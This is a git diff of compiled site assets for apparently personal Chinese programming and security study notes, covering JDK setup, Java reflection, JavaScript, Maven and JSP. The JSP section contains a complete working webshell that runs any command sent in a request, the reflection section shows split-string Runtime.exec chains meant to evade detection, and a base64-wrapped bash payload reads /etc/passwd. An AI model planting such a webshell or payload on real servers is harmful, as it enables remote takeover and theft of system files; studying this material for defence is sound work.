+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/javac javac /home/ajest/tools/java/jdk1.8.0_351/bin/javac "),n("span",{class:"token number"},"18351"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(` javac /home/ajest/tools/java/jdk1.8.0_351/bin/javac
+
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/java "),n("span",{class:"token function"},"java"),a(" /home/ajest/tools/java/jdk-11.0.17/bin/java "),n("span",{class:"token number"},"11017"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(),n("span",{class:"token function"},"java"),a(` /home/ajest/tools/java/jdk-11.0.17/bin/java
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/javac javac /home/ajest/tools/java/jdk-11.0.17/bin/javac "),n("span",{class:"token number"},"11017"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(` javac /home/ajest/tools/java/jdk-11.0.17/bin/javac
+
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/java "),n("span",{class:"token function"},"java"),a(" /home/ajest/tools/java/jdk-17.0.5/bin/java "),n("span",{class:"token number"},"1705"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(),n("span",{class:"token function"},"java"),a(` /home/ajest/tools/java/jdk-17.0.5/bin/java
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/javac javac /home/ajest/tools/java/jdk-17.0.5/bin/javac "),n("span",{class:"token number"},"1705"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(` javac /home/ajest/tools/java/jdk-17.0.5/bin/javac
+
+
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/java "),n("span",{class:"token function"},"java"),a(" /home/ajest/tools/java/jdk-19.0.1/bin/java "),n("span",{class:"token number"},"1901"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(),n("span",{class:"token function"},"java"),a(` /home/ajest/tools/java/jdk-19.0.1/bin/java
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/javac javac /home/ajest/tools/java/jdk-19.0.1/bin/javac "),n("span",{class:"token number"},"1901"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(` javac /home/ajest/tools/java/jdk-19.0.1/bin/javac
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])])],-1),J=n("p",null,"多版本 JDK 管理",-1),P=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[a("update-alternatives "),n("span",{class:"token parameter variable"},"--config"),a(),n("span",{class:"token function"},"java"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--config"),a(` javac
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),E=p(' IDEA ubuntu 安装 IDEA 直接远程连接安装即可
Tomcat ',7),D={href:"https://tomcat.apache.org/download-80.cgi",target:"_blank",rel:"noopener noreferrer"},O=p('
Windows 下直接下 Installer 版本即可
安装时会默认 Server Shutdown Port
为 -1
, 意味着关闭了监听 shutdown 命令的端口, 后续启停可以在 Windows 服务(services.msc
)中进行操作
Java 反射 ',6),T={href:"https://www.cnblogs.com/ysocean/p/6516248.html",target:"_blank",rel:"noopener noreferrer"},V=n("hr",null,null,-1),H=p(`Java反射就是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;并且能改变它的属性。而这也是Java被视为(准)动态语言的一个关键性质
为啥要说是准动态,因为一般而言的动态语言定义是程序运行时,允许改变程序结构或变量类型,这种语言称为动态语言。从这个观点看,Perl,Python,Ruby是动态语言,C++,Java,C#不是动态语言。
反射机制允许程序在运行时取得任何一个已知名称的class的内部信息,包括包括其modifiers(修饰符),fields(属性),methods(方法)等,并可于运行时改变fields内容或调用methods。那么我们便可以更灵活的编写代码,代码可以在运行时装配,无需在组件之间进行源代码链接,降低代码的耦合度;还有动态代理的实现等等;
但是需要注意的是反射使用不当会造成很高的资源消耗!
得到 Class 的三种方式 比如新建一个 Person 类
package reflect ;
+
+public class Person {
+ private String name = "Jacob" ;
+ public int age = 20 ;
+ public Person ( ) {
+ System . out. println ( "Person()" ) ;
+ }
+ private void say ( ) {
+ System . out. println ( "Hello World!" ) ;
+ }
+ public void work ( ) {
+ System . out. println ( "I'm working!" ) ;
+ }
+}
+
+
现在要在其他类中获取一个 Person 对象的 class 可以使用如下三种方式:
package reflect ;
+
+public class reflect {
+
+
+ public void by_getClass ( ) {
+ System . out. println ( "1. 通过对象调用 getClass() 方法获取 Person 的 Class;" ) ;
+ Person person1 = new Person ( ) ;
+ Class c1 = person1. getClass ( ) ;
+ System . out. println ( c1. getName ( ) ) ;
+ }
+
+
+
+ public void by_class ( ) {
+ System . out. println ( "2.直接通过 类名.class 的方式得到,该方法最为安全可靠,程序性能更高" ) ;
+ Class c2 = Person . class ;
+ System . out. println ( c2. getName ( ) ) ;
+ }
+
+
+
+
+ public void by_forName ( ) throws ClassNotFoundException {
+ System . out. println ( "3.通过 Class 类的静态方法 forName(String className) 得到" ) ;
+ Class c3 = Class . forName ( "reflect.Person" ) ;
+ System . out. println ( c3. getName ( ) ) ;
+ }
+
+}
+
+
import reflect. reflect ;
+
+public class test {
+ public static void main ( String [ ] args) {
+ System . out. println ( "Hello World!" ) ;
+ reflect r = new reflect ( ) ;
+ r. by_getClass ( ) ;
+ r. by_class ( ) ;
+ try {
+ r. by_forName ( ) ;
+ } catch ( ClassNotFoundException e) {
+ e. printStackTrace ( ) ;
+ }
+ }
+}
+
命令执行 正常写法
java. lang. Runtime. getRuntime ( ) . exec ( "calc" ) ;
+
反射写法:
try {
+ Class < ? > cls = Class . forName ( "java.lang.Runtime" ) ;
+ Method method = cls. getMethod ( "getRuntime" ) ;
+ Runtime runtime = ( Runtime ) method. invoke ( null ) ;
+ runtime. exec ( "calc" ) ;
+} catch ( Exception e) {
+ e. printStackTrace ( ) ;
+}
+
line3
的 Method
指的是 java.lang.reflect.Method
类, 在 Java 中,java.lang.reflect.Method
类提供了关于类或接口上单个方法的信息和访问权限。可以使用 java.lang.reflect.Method
类的实例来获取方法的信息(如返回类型、参数类型、访问修饰符等)或者对它进行调用。line3
的 getMethod
方法被用来获取名为 getRuntime
的方法(这是 java.lang.Runtime
类的一个静态方法)。然后,invoke
方法被用来调用这个获取到的方法。因为 getRuntime
是一个无参数的方法,所以 invoke
方法被调用时只传入了一个 null
参数,这个 null
参数表示当前正在调用的是一个不需要实例对象的方法(即静态方法)。 将反射写法写为一行:
( ( Runtime ) Class . forName ( "java.lang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ) . exec ( "calc" ) ;
+
需要注意的是 Class.getMethod
的返回类型是 java.lang.reflect.Method
,而 Method.invoke()
的返回类型是 java.lang.Object
。
因此,当你试图在返回的 Object 类型上调用 exec
方法时,编译器无法找到 exec
方法,因为 java.lang.Object
类没有定义 exec
方法。
所以这里用的 (Runtime)
来将 invoke
的返回值强制类型转换为 Runtime
类型,因为 exec
是 Runtime
类的方法
不加强制类型转换的话可以这样写:
Class . forName ( "java.lang.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ Class . forName ( "java.lang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ;
+
首先获取 exec
方法的 Method
对象,然后再调用 invoke
方法,其第一个参数传递了 exec
方法的调用者(Runtime
对象),第二个参数传递了 exec
方法的参数(calc
)。
或者通过 String对象.getClass()
来获取 Class
也可以:
"va" . getClass ( ) . forName ( "java.lang.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ "va" . getClass ( ) . forName ( "java.lang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ;
+
以及这里的字符串是可以拆分再拼接的, 下面这种写法也是可以正确执行的:
Class . forName ( "java" + ".lang.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ Class . forName ( "java.la" + "ng.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ;
+
"va" . getClass ( ) . forName ( "java.lan" + "g.Runtime" ) . getMethod ( "exec" , String . class ) . invoke (
+ "va" . getClass ( ) . forName ( "java.l" + "ang.Runtime" ) . getMethod ( "getRuntime" ) . invoke ( null ) ,
+ "calc"
+) ; \`
+
`,37);function I(W,z){const t=l("ExternalLinkIcon"),i=l("Tabs");return d(),k("div",null,[v,s(i,{id:"9",data:[{id:"Windows"},{id:"Ubuntu/Debian"}],active:0},{title0:e(({value:o,isActive:c})=>[a("Windows")]),title1:e(({value:o,isActive:c})=>[a("Ubuntu/Debian")]),tab0:e(({value:o,isActive:c})=>[m,b,g,h,j,f,q,_]),tab1:e(({value:o,isActive:c})=>[n("blockquote",null,[n("p",null,[n("a",y,[a("OpenJDK: Download and install"),s(t)])]),n("p",null,[a("["),n("a",w,[a("环境搭建] Kali 下多版本JDK 共存 - 2022 年11 月1 日更新 - 知乎 (zhihu.com)"),s(t)])]),x]),C,N,R,S,M,A,J,P]),_:1}),E,n("blockquote",null,[n("p",null,[n("a",D,[a("Apache Tomcat® - Apache Tomcat 8 Software Downloads --- Apache Tomcat® - Apache Tomcat 8 软件下载"),s(t)])])]),O,n("blockquote",null,[n("p",null,[n("a",T,[a("Java 反射详解 - YSOcean - 博客园 (cnblogs.com)"),s(t)])]),V]),H])}const F=u(r,[["render",I],["__file","Java.html.vue"]]);export{F as default};
diff --git a/assets/Java.html-956559db.js b/assets/Java.html-956559db.js
new file mode 100644
index 0000000000..7b4d2376c8
--- /dev/null
+++ b/assets/Java.html-956559db.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-1c10b6b0","path":"/Language/Java/Java.html","title":"Java","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Java 环境配置","slug":"java-环境配置","link":"#java-环境配置","children":[{"level":3,"title":"安装 jdk","slug":"安装-jdk","link":"#安装-jdk","children":[]},{"level":3,"title":"IDEA","slug":"idea","link":"#idea","children":[]},{"level":3,"title":"Tomcat","slug":"tomcat","link":"#tomcat","children":[]}]},{"level":2,"title":"Java 反射","slug":"java-反射","link":"#java-反射","children":[{"level":3,"title":"得到 Class 的三种方式","slug":"得到-class-的三种方式","link":"#得到-class-的三种方式","children":[]}]},{"level":2,"title":"命令执行","slug":"命令执行","link":"#命令执行","children":[]}],"git":{"createdTime":1667831333000,"updatedTime":1686820814000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":6},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":5.55,"words":1664},"filePathRelative":"Language/Java/Java.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/JavaScript.html-609ab7c1.js b/assets/JavaScript.html-609ab7c1.js
new file mode 100644
index 0000000000..4e7214fdd4
--- /dev/null
+++ b/assets/JavaScript.html-609ab7c1.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-5c6e4b70","path":"/Language/JavaScript/JavaScript.html","title":"JavaScript","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"类","slug":"类","link":"#类","children":[]},{"level":2,"title":"Axios","slug":"axios","link":"#axios","children":[{"level":3,"title":"特性","slug":"特性","link":"#特性","children":[]},{"level":3,"title":"应用场景","slug":"应用场景","link":"#应用场景","children":[]},{"level":3,"title":"使用","slug":"使用","link":"#使用","children":[]}]},{"level":2,"title":"Web API 接口","slug":"web-api-接口","link":"#web-api-接口","children":[{"level":3,"title":"Window","slug":"window","link":"#window","children":[]}]},{"level":2,"title":"动画/动效","slug":"动画-动效","link":"#动画-动效","children":[{"level":3,"title":"sliderland","slug":"sliderland","link":"#sliderland","children":[]}]},{"level":2,"title":"模拟键盘输入","slug":"模拟键盘输入","link":"#模拟键盘输入","children":[]},{"level":2,"title":"IIFE(立即调用函数表达式)","slug":"iife-立即调用函数表达式","link":"#iife-立即调用函数表达式","children":[]}],"git":{"createdTime":1667831333000,"updatedTime":1676443964000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":2}]},"readingTime":{"minutes":4.07,"words":1220},"filePathRelative":"Language/JavaScript/JavaScript.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git a/assets/JavaScript.html-b4ae7abd.js b/assets/JavaScript.html-b4ae7abd.js
new file mode 100644
index 0000000000..7c00ba5a69
--- /dev/null
+++ b/assets/JavaScript.html-b4ae7abd.js
@@ -0,0 +1,79 @@
+import{_ as o}from"./plugin-vue_export-helper-c27b6911.js";import{r as p,o as c,c as l,b as n,e as s,d as e,f as t}from"./app-880c6425.js";const i={},r=t(' JavaScript toLocaleString()
toLocaleString()
方法可根据本地时间把 Date 对象转换为字符串,并返回结果。以将数字变成千分位格式 ',4),u={href:"https://www.tomche.space/post/using-javascript-kernel-in-vscode-jupyter-notebooks/",target:"_blank",rel:"noopener noreferrer"},d={href:"https://www.runoob.com/jsref/jsref-tolocalestring.html",target:"_blank",rel:"noopener noreferrer"},k=n("hr",null,null,-1),v=n("h2",{id:"类",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#类","aria-hidden":"true"},"#"),s(" 类")],-1),h={href:"https://www.w3school.com.cn/js/js_class_intro.asp",target:"_blank",rel:"noopener noreferrer"},m=t(`class Item {
+ constructor ( value, displayProperty ) {
+ this . value = value;
+ this . displayProperty = displayProperty;
+ }
+}
+
实例化:
let item2 = new Item ( 2 , '兼职' ) ;
+
Axios `,5),b={href:"https://zhuanlan.zhihu.com/p/69157371",target:"_blank",rel:"noopener noreferrer"},g=t(`Axios 是一个基于 promise 的 HTTP 库,简单的讲就是可以发送get、post请求。
前几年Jquery比较火的时候,大家都在用他。但是由于Vue、React等框架的出现,Jquery也不是那么吃香了。也正是Vue、React等框架的出现,促使了Axios轻量级库的出现,因为Vue等,不需要操作Dom,所以不需要引入Jquery.js了。
特性 1、可以在浏览器中发送 XMLHttpRequests 2、可以在 node.js 发送 http 请求 3、支持 Promise API 4、拦截请求和响应 5、转换请求数据和响应数据 6、能够取消请求 7、自动转换 JSON 数据 8、客户端支持保护安全免受 XSRF 攻击
应用场景 浏览器发送请求,或者Node.js发送请求都可以用到Axios。
像Vue、React、Node等项目就可以使用Axios
如果你的项目里面用了Jquery,此时就不需要多此一举了,jquery里面本身就可以发送请求。
使用 安装模块
或者直接引入:
< script src= "https://unpkg.com/axios/dist/axios.min.js" > < / script>
+
引入模块后可以直接使用
+axios. get ( '/user' , {
+ params : {
+ ID : 12345
+ }
+} )
+. then ( function ( response ) {
+ console. log ( response) ;
+} )
+. catch ( function ( error ) {
+ console. log ( error) ;
+} ) ;
+
+
+axios. post ( '/user' , {
+ name : 'Javan' ,
+ website : 'www.javanx.cn'
+} )
+. then ( function ( response ) {
+ console. log ( response) ;
+} )
+. catch ( function ( error ) {
+ console. log ( error) ;
+} ) ;
+
上面的参数是可选的
并发多个请求,可以这样写:
function getUserAccount ( ) {
+ return axios. get ( '/user/12345' ) ;
+}
+
+function getUserPermissions ( ) {
+ return axios. get ( '/user/12345/permissions' ) ;
+}
+
+axios. all ( [ getUserAccount ( ) , getUserPermissions ( ) ] )
+ . then ( axios. spread ( function ( acct, perms ) {
+
+ } ) ) ;
+
Web API 接口 Window Window.localStorage `,25),_={href:"https://developer.mozilla.org/zh-CN/docs/Web/API/Window/localStorage",target:"_blank",rel:"noopener noreferrer"},f=n("code",null,"localStorage",-1),y={href:"https://developer.mozilla.org/zh-CN/docs/Web/API/Document",target:"_blank",rel:"noopener noreferrer"},w=n("code",null,"Document",-1),x={href:"https://developer.mozilla.org/zh-CN/docs/Web/API/Storage",target:"_blank",rel:"noopener noreferrer"},E=n("code",null,"Storage",-1),S=n("code",null,"localStorage",-1),A={href:"https://developer.mozilla.org/zh-CN/docs/Web/API/Window/sessionStorage",target:"_blank",rel:"noopener noreferrer"},I=n("code",null,"sessionStorage",-1),j=n("code",null,"localStorage",-1),B=n("code",null,"sessionStorage",-1),z=n("p",null,[s("应注意,无论数据存储在 "),n("code",null,"localStorage"),s(" 还是 "),n("code",null,"sessionStorage"),s(" ,"),n("strong",null,"它们都特定于页面的协议。")],-1),D=n("p",null,[s("另外,"),n("code",null,"localStorage"),s(" 中的键值对总是以字符串的形式存储。 (需要注意, 和js对象相比, 键值对总是以字符串的形式存储意味着数值类型会自动转化为字符串类型).")],-1),N=n("h5",{id:"示例",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#示例","aria-hidden":"true"},"#"),s(" 示例")],-1),J={href:"https://developer.mozilla.org/zh-CN/docs/Web/API/Storage",target:"_blank",rel:"noopener noreferrer"},W=n("code",null,"Storage",-1),P={href:"https://developer.mozilla.org/zh-CN/docs/Web/API/Storage/setItem",target:"_blank",rel:"noopener noreferrer"},q=n("code",null,"Storage.setItem()",-1),C=t(`localStorage. setItem ( 'myCat' , 'Tom' ) ;
+
读取 localStorage
项:
let cat = localStorage. getItem ( 'myCat' ) ;
+
移除 localStorage
项:
localStorage. removeItem ( 'myCat' ) ;
+
移除所有的 localStorage
项:
动画/动效 sliderland `,11),V={href:"https://github.com/blinry/sliderland",target:"_blank",rel:"noopener noreferrer"},F={href:"https://sliderland.blinry.org/",target:"_blank",rel:"noopener noreferrer"},R=n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202205230930199.png",alt:"image-20220523093011957"})],-1),T=n("hr",null,null,-1),G=n("h2",{id:"模拟键盘输入",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#模拟键盘输入","aria-hidden":"true"},"#"),s(" 模拟键盘输入")],-1),L={href:"https://blog.csdn.net/a0405221/article/details/124374119",target:"_blank",rel:"noopener noreferrer"},M=t(`对于被框架劫持setter事件可以使用如下方式录入数据
function changeReactInputValue ( inputDom, newText ) {
+ let lastValue = inputDom. value;
+ inputDom. value = newText;
+ let event = new Event ( 'input' , { bubbles : true } ) ;
+ event. simulated = true ;
+ let tracker = inputDom. _valueTracker;
+ if ( tracker) {
+ tracker. setValue ( lastValue) ;
+ }
+ inputDom. dispatchEvent ( event) ;
+}
+
+let userIdDom = document. getElementById ( 'userName' ) ;
+let passwdDom = document. getElementById ( 'password' ) ;
+
+changeReactInputValue ( userIdDom, 'username' ) ;
+changeReactInputValue ( passwdDom, 'passwd' ) ;
+
IIFE(立即调用函数表达式) `,4),U={href:"https://developer.mozilla.org/en-US/docs/Glossary/IIFE",target:"_blank",rel:"noopener noreferrer"},H=n("strong",null,"IIFE",-1),O={href:"https://developer.mozilla.org/zh-CN/docs/Glossary/JavaScript",target:"_blank",rel:"noopener noreferrer"},X={href:"https://developer.mozilla.org/zh-CN/docs/Glossary/Function",target:"_blank",rel:"noopener noreferrer"},K=t(`(function () {
+ // …
+})();
+
+(() => {
+ // …
+})();
+
+(async () => {
+ // …
+})();
+
`,2),Q={href:"https://developer.mozilla.org/zh-CN/docs/Glossary/Self-Executing_Anonymous_Function",target:"_blank",rel:"noopener noreferrer"},Y={href:"https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Grouping",target:"_blank",rel:"noopener noreferrer"},Z=n("code",null,"圆括号运算符",-1),$=n("code",null,"()",-1),nn=n("p",null,[s("第二部分再一次使用 "),n("code",null,"()"),s(" 创建了一个立即执行函数表达式,JavaScript 引擎到此将直接执行函数。")],-1),sn=n("hr",null,null,-1);function an(en,tn){const a=p("ExternalLinkIcon");return c(),l("div",null,[r,n("blockquote",null,[n("p",null,[n("a",u,[s("Using Javascript Kernel in Vscode Jupyter Notebooks (tomche.space)"),e(a)])]),n("p",null,[n("a",d,[s("JavaScript toLocaleString() 方法 | 菜鸟教程 (runoob.com)"),e(a)])])]),k,v,n("blockquote",null,[n("p",null,[n("a",h,[s("JavaScript 类 (w3school.com.cn)"),e(a)])])]),m,n("blockquote",null,[n("p",null,[n("a",b,[s("Axios是什么?用在什么场景?如何使用? - 知乎 (zhihu.com)"),e(a)])])]),g,n("blockquote",null,[n("p",null,[n("a",_,[s("Window.localStorage - Web API 接口参考 | MDN (mozilla.org)"),e(a)])])]),n("p",null,[s("只读的"),f,s(" 属性允许你访问一个"),n("a",y,[w,e(a)]),s(" 源(origin)的对象 "),n("a",x,[E,e(a)]),s(";存储的数据将保存在浏览器会话中。"),S,s(" 类似 "),n("a",A,[I,e(a)]),s(",但其区别在于:存储在 "),j,s(" 的数据可以长期保留;而当页面会话结束——也就是说,当页面被关闭时,存储在 "),B,s(" 的数据会被清除 。")]),z,D,N,n("p",null,[s("访问了当前域名下的本地 "),n("a",J,[W,e(a)]),s(" 对象,并通过 "),n("a",P,[q,e(a)]),s(" 增加一个数据项目:")]),C,n("blockquote",null,[n("p",null,[n("a",V,[s("blinry/sliderland: A (very) minimalist creative coding playground. Make animations using only 64 HTML sliders! (github.com)"),e(a)])]),n("p",null,[n("a",F,[s("Sliderland (blinry.org)"),e(a)])])]),R,T,G,n("blockquote",null,[n("p",null,[n("a",L,[s("javascript 模拟按键事件 触发输入框oninput事件_谢泽的网络日志的博客-CSDN博客_js模拟输入数字到input"),e(a)])])]),M,n("blockquote",null,[n("p",null,[n("a",U,[s("IIFE - MDN Web Docs Glossary: Definitions of Web-related terms | MDN (mozilla.org)"),e(a)])])]),n("p",null,[H,s("(立即调用函数表达式)是一个在定义时就会立即执行的 "),n("a",O,[s("JavaScript"),e(a)]),s(),n("a",X,[s("函数"),e(a)]),s("。")]),K,n("p",null,[s("这是一个被称为 "),n("a",Q,[s("自执行匿名函数"),e(a)]),s(" 的设计模式,主要包含两部分。第一部分是包围在 "),n("a",Y,[Z,e(a)]),s(),$,s(" 里的一个匿名函数,这个匿名函数拥有独立的词法作用域。这不仅避免了外界访问此 IIFE 中的变量,而且又不会污染全局作用域。")]),nn,sn])}const cn=o(i,[["render",an],["__file","JavaScript.html.vue"]]);export{cn as default};
diff --git a/assets/JavaWeb.html-70b616cc.js b/assets/JavaWeb.html-70b616cc.js
new file mode 100644
index 0000000000..db4fdef713
--- /dev/null
+++ b/assets/JavaWeb.html-70b616cc.js
@@ -0,0 +1,70 @@
+import{_ as p}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o,c,b as n,e as a,d as t,f as e}from"./app-880c6425.js";const i={},u=e(' Java Web Maven ',4),r={href:"https://blog.csdn.net/huo920/article/details/82082403",target:"_blank",rel:"noopener noreferrer"},d=n("h3",{id:"下载与配置",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#下载与配置","aria-hidden":"true"},"#"),a(" 下载与配置")],-1),g={href:"https://maven.apache.org/download.cgi",target:"_blank",rel:"noopener noreferrer"},m=e(`解压到某个文件夹
配置 Maven 环境变量
编辑 PATH 变量
验证配置: mvn -v
修改 Maven 配置 C:\\Programming\\Java\\apache-maven-3.8.4\\conf\\settings.xml
修改本地仓库位置:
修改 maven 默认的 JDK 版本
< profile>
+ < id> JDK-1.8</ id>
+ < activation>
+ < activeByDefault> true</ activeByDefault>
+ < jdk> 1.8</ jdk>
+ </ activation>
+ < properties>
+ < maven.compiler.source> 1.8</ maven.compiler.source>
+ < maven.compiler.target> 1.8</ maven.compiler.target>
+ < maven.compiler.compilerVersion> 1.8</ maven.compiler.compilerVersion>
+ </ properties>
+ </ profile>
+
添加国内镜像源
+< mirror>
+ < id> alimaven</ id>
+ < mirrorOf> central</ mirrorOf>
+ < name> aliyun maven</ name>
+ < url> http://maven.aliyun.com/nexus/content/repositories/central/</ url>
+</ mirror>
+
+
+< mirror>
+ < id> repo1</ id>
+ < mirrorOf> central</ mirrorOf>
+ < name> Human Readable Name for this Mirror.</ name>
+ < url> http://repo1.maven.org/maven2/</ url>
+</ mirror>
+
+
+< mirror>
+ < id> repo2</ id>
+ < mirrorOf> central</ mirrorOf>
+ < name> Human Readable Name for this Mirror.</ name>
+ < url> http://repo2.maven.org/maven2/</ url>
+</ mirror>
+
+
JSP JSP(Java Server Pages)是一种动态网页开发技术。它使用JSP标签在HTML网页中插入Java代码。
JSP是一种Java servlet,主要用于实现Java web应用程序的用户界面部分
JSP 马 <%@ page import="java.util.*,java.io.*"%>
+<%%>
+<HTML><BODY>
+Commands with JSP
+<FORM METHOD="GET" NAME="myform" ACTION="">
+<INPUT TYPE="text" NAME="cmd">
+<INPUT TYPE="submit" VALUE="Send">
+</FORM>
+<pre>
+<%
+ if (request.getParameter("cmd") != null) {
+ out.println("Command: " + request.getParameter("cmd") + "<BR>");
+ Process p;
+ if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
+ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
+ }
+ else{
+ p = Runtime.getRuntime().exec(request.getParameter("cmd"));
+ }
+ OutputStream os = p.getOutputStream();
+ InputStream in = p.getInputStream();
+ DataInputStream dis = new DataInputStream(in);
+ String disr = dis.readLine();
+ while ( disr != null ) {
+ out.println(disr);
+ disr = dis.readLine();
+ }
+ }
+%>
+</pre>
+</BODY></HTML>
+
`,25),k={href:"https://blog.51cto.com/stefanxfy/4722238",target:"_blank",rel:"noopener noreferrer"},v={href:"https://bewhale.github.io/tools/encode.html",target:"_blank",rel:"noopener noreferrer"},b=e(`偶尔有时命令执行有效负载Runtime.getRuntime().exec()
失败. 使用 web shells, 反序列化漏洞或其他向量时可能会发生这种情况.
有时这是因为重定向和管道字符的使用方式在正在启动的进程的上下文中没有意义. 例如 ls > dir_listing
在shell中执行应该将当前目录的列表输出到名为的文件中 dir_listing
. 但是在 exec()
函数的上下文中,该命令将被解释为获取 >
和 dir_listing
目录.
其他时候,其中包含空格的参数会被StringTokenizer类破坏.该类将空格分割为命令字符串. 那样的东西 ls "My Directory"
会被解释为 ls '"My' 'Directory"'
.
在Base64编码的帮助下, 可以通过调用Bash或PowerShell再次使管道和重定向更好,并且还确保参数中没有空格.
比如将 bash 命令
转换为:
bash -c { echo,Y2F0IC9lcnR0Yy9wYXNzd2Q= } | { base64,-d} | { bash,-i}
+
`,9);function h(f,q){const s=l("ExternalLinkIcon");return o(),c("div",null,[u,n("blockquote",null,[n("p",null,[n("a",r,[a("Maven配置教程_霍英俊-CSDN博客_maven配置"),t(s)])])]),d,n("p",null,[a("在 "),n("a",g,[a("Maven – Download Apache Maven"),t(s)]),a(" 下载")]),m,n("blockquote",null,[n("p",null,[n("a",k,[a("Runtime.getRuntime().exec踩坑总结"),t(s)])])]),n("blockquote",null,[n("p",null,[n("a",v,[a("java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (bewhale.github.io)"),t(s)])])]),b])}const y=p(i,[["render",h],["__file","JavaWeb.html.vue"]]);export{y as default};
diff --git a/assets/JavaWeb.html-f1035f32.js b/assets/JavaWeb.html-f1035f32.js
new file mode 100644
index 0000000000..2f2f4b5f08
--- /dev/null
+++ b/assets/JavaWeb.html-f1035f32.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-389eb814","path":"/Language/Java/JavaWeb.html","title":"Java Web","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Maven","slug":"maven","link":"#maven","children":[{"level":3,"title":"下载与配置","slug":"下载与配置","link":"#下载与配置","children":[]}]},{"level":2,"title":"JSP","slug":"jsp","link":"#jsp","children":[{"level":3,"title":"JSP 马","slug":"jsp-马","link":"#jsp-马","children":[]}]}],"git":{"createdTime":1667831333000,"updatedTime":1679624647000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":2},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":2.23,"words":670},"filePathRelative":"Language/Java/JavaWeb.md","localizedDate":"2022年11月7日","excerpt":""}');export{e as data};
diff --git "a/assets/Java\344\273\243\347\240\201\345\256\241\350\256\241.html-8397bab4.js" "b/assets/Java\344\273\243\347\240\201\345\256\241\350\256\241.html-8397bab4.js"
new file mode 100644
index 0000000000..f355c87ddd
--- /dev/null
+++ "b/assets/Java\344\273\243\347\240\201\345\256\241\350\256\241.html-8397bab4.js"
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-9bd056ec","path":"/Language/Java/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1.html","title":"Java 代码审计","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Java 本地调试和远程调试技巧(IDEA)","slug":"java-本地调试和远程调试技巧-idea","link":"#java-本地调试和远程调试技巧-idea","children":[{"level":3,"title":"本地调试","slug":"本地调试","link":"#本地调试","children":[]},{"level":3,"title":"远程调试","slug":"远程调试","link":"#远程调试","children":[]}]},{"level":2,"title":"IDEA 远程调试 Java 项目举例 - CVE-2018-2894 远程调试(寄/TODO: 等看完 Docker 